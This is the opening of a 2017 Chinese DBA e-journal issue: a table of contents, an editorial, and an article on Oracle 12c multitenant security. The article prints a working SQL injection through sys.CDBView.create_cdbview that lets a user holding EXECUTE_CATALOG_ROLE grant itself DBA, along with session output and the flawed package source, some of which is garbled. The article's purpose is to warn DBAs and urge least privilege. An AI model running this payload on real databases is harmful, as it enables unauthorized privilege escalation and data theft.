云和恩墨大讲堂电子期刊2017第2期

云和恩墨大讲堂电子刊物2017年2期目录目录 (1)编辑寄语 (2)Oracle 12c 多租户的SQL注入高危风险防范 (2)回答了这四个问题，少踩12c 多租户的好多坑 (7)Linux 内存中的Cache，真的能被回收么？ (17)备份无一有效，还有哪些 rm -rf 和GitLab类似的忧伤？ (28)SQL Server 获评2016 DB-Engines年度DBMS榜首 (33)2016年度中国Oracle数据库使用现状分析报告 (37)关于炉石传说的Oracle数据库故障不要以为你也可以幸免 (44)谨防“去IE后遗症” 云南电网实现x86架构全面优化 (51)编辑寄语致亲爱的读者们：夜色，依旧浓重。

寒冬坚守在最后一班的岗位，沉稳而不动声色。

但我知道，春，就要来了。

寒风里，我隐约听到了春的声音，像雨从山那边赶来，像光在地平线转弯，那么模糊而又真实。

春以势不可挡的气势在逼近，在低吼，这个春天，生命终将绽放，我们乘梦，一起前行！春是寒冬在一季的隐忍中酝酿的一支舞，它华丽而不张扬，高贵但却淳朴。

它将要唤醒每一个奋斗的人，告诉他们黎明将近。

一年之计在于春，这是一个耕耘的季节，在这里，一切苦难、挫折、迷茫、悲伤都不重要。

而你的专注、用心、勇敢、坚持，你的每一份坚守和付出，你走过的每一条路，都将铭刻在生命的底层，成为你一生的守望。

因为春暖，就要花开，逐梦，必将灿烂！这个春天，云和恩墨六岁了。

过去的五年，在客户的支持下，在业界朋友的鼓舞下，在全体员工的努力奋斗下，云和恩墨以『数据驱动，成就未来』为使命，扎扎实实的服务客户，积累产品，为数千学子提供技能提升培训，引领并与时代一起进步。

在移动互联和行业开放融合的大趋势下，云和恩墨将致力于做广大用户最忠实的数据管家，为各组织中最核心的数据资产，提供端到端的产品和服务，完成以下使命：构建并支撑“安全、连续、高效、敏捷、经济”的数据环境。

整合分析，洞察数据价值，驱动组织的升级转型发展。

开春大吉，云和恩墨祝大家在新的一年里，乘梦扬帆，让生命美丽绽放！---云和恩墨编辑部2017年02月07日Oracle 12c 多租户的SQL注入高危风险防范用Oracle多租户选件时，由于Container容器和PDB融合共存，则权限控制必将更加重要，在之前的文章中我们提到，Oracle 12.2 的 lockdown profile就是为了实现PDB中更为全面的权限控制。

我们在2016年『比特币事件』中，总结了：数据安全的十六大军规，其中有一条也明确提到最小权限守则，而且要真正实现权限管理。

SQL注入攻击的风险我们来看看如果权限控制不当，可能遭遇到的数据库安全风险。

根据最近披露的风险之一，通过SQL 注入可能影响数据库的安全，以下问题影响到多租户的12.1.0.2.0最新版本。

假如我们在CDB中拥有一个普通用户，因为某种原因它申请和被授予了EXECUTE_CATALOG_ROLE的角色：SQL> connect / as sysdbaConnected.SQL> create user c##eygle identified by eygle;User created.SQL> grant execute_catalog_role,create session to c##eygle;Grant succeeded.SQL> select granted_role from user_role_privs;GRANTED_ROLE---------------------------------------------EXECUTE_CATALOG_ROLE我们看看这一角色可能由此深入所做出的尝试，经常讨论的SQL注入也就在这个知识范畴之中。

当以下一个系列的SQL被执行之后，一个普通用户获得了DBA的权限，如果这是在一个多租户的环境中，这个提权将是非常危险的：SQL> connect c##eygle/eygleConnected.SQL> select granted_role from user_role_privs;GRANTED_ROLE-----------------------------------------------------EXECUTE_CATALOG_ROLESQL> exec sys.CDBView.create_cdbview(true,'ALL_POLICIES" as select /*+WITH_PLSQL*/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN /*','yh_view' ,' */ execute immediate ''grant dba to c##eygle''; RETURN ''1'';END; SELECT f as x FROM dual)-- ');*ERROR at line 1:ORA-00905: missing keywordORA-06512: at "SYS.CDBVIEW", line 58ORA-06512: at line 1SQL> select /*+WITH_PLSQL*/ * from ALL_POLICIES;X-------1SQL> select granted_role from user_role_privs;GRANTED_ROLE----------------------------DBAEXECUTE_CATALOG_ROLESQL> select banner from v$version;BANNER------------------------------------------------------------------------------Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit ProductionPL/SQL Release 12.1.0.2.0 - ProductionCORE 12.1.0.2.0 ProductionTNS for Linux: Version 12.1.0.2.0 - ProductionNLSRTL Version 12.1.0.2.0 - Production当然作为资深的DBA来说，我们应当知道EXECUTE_CATALOG_ROLE这一角色权限是非常危险的，要严格控制这一权限的授予。

这一注入，实际上是利用了CDBView 包的校验漏洞，进行了注入提权。

包sys.CDBView 的主要内容如下（在安装脚本中是明文的），风险来自于脚本内部的校验缺失：create or replace package sys.CDBView as------------------------------ PROCEDURES AND FUNCTIONS--procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,oldview_name IN varchar2, newview_name IN varchar2);end CDBView;/grant execute on sys.CDBView to execute_catalog_role/create or replace package body sys.CDBView is-- Create the cdb view-- private helper procedure to create the cdb view-- Note that quotes should not be added around owner, oldview_name and-- newview_name before create_cdbview is invoked since all three are used -- as literals to query dictionary views.procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,oldview_name IN varchar2, newview_name IN varchar2) assqlstmt varchar2(4000);col_name varchar2(128);comments varchar2(4000);col_type number;upper_owner varchar2(128);upper_oldview varchar2(128);quoted_owner varchar2(130); -- 2 more than size of ownerquoted_oldview varchar2(130); -- 2 more than size of oldview_name quoted_newview varchar2(130); -- 2 more than size of newview_namecursor tblcommentscur is select ment$from sys.obj$ o, er$ u, $ cwhere = upper_oldview and = upper_ownerand o.obj# = c.obj# and o.owner#=er# and o.type# = 4and c.col# is null;cursor colcommentscur is select , ment$, c.type#from sys.obj$ o, sys.col$ c, er$ u, $ cowhere = upper_oldview and = upper_ownerand o.owner# = er# and o.type# = 4 and o.obj# = c.obj# and c.obj# = co.obj# and c.intcol# = co.col#and bitand(c.property, 32) = 0;begin-- convert owner and view names to upper caseupper_owner := upper(owner);upper_oldview := upper(oldview_name);quoted_owner := '"' || upper_owner || '"'; quoted_oldview := '"' || upper_oldview || '"'; quoted_newview := '"' || upper(newview_name) || '"';-- create cdb viewsqlstmt := 'CREATE OR REPLACE VIEW ' ||quoted_owner || '.' || quoted_newview ||' CONTAINER_DATA AS SELECT * FROM CONTAINERS(' ||quoted_owner || '.' || quoted_oldview || ')';--dbms_output.put_line(sqlstmt);execute immediate sqlstmt;......end if;end loop;close colcommentscur;end;end CDBView;/show errors;/安全风险无处不在，提高安全意识刻不容缓。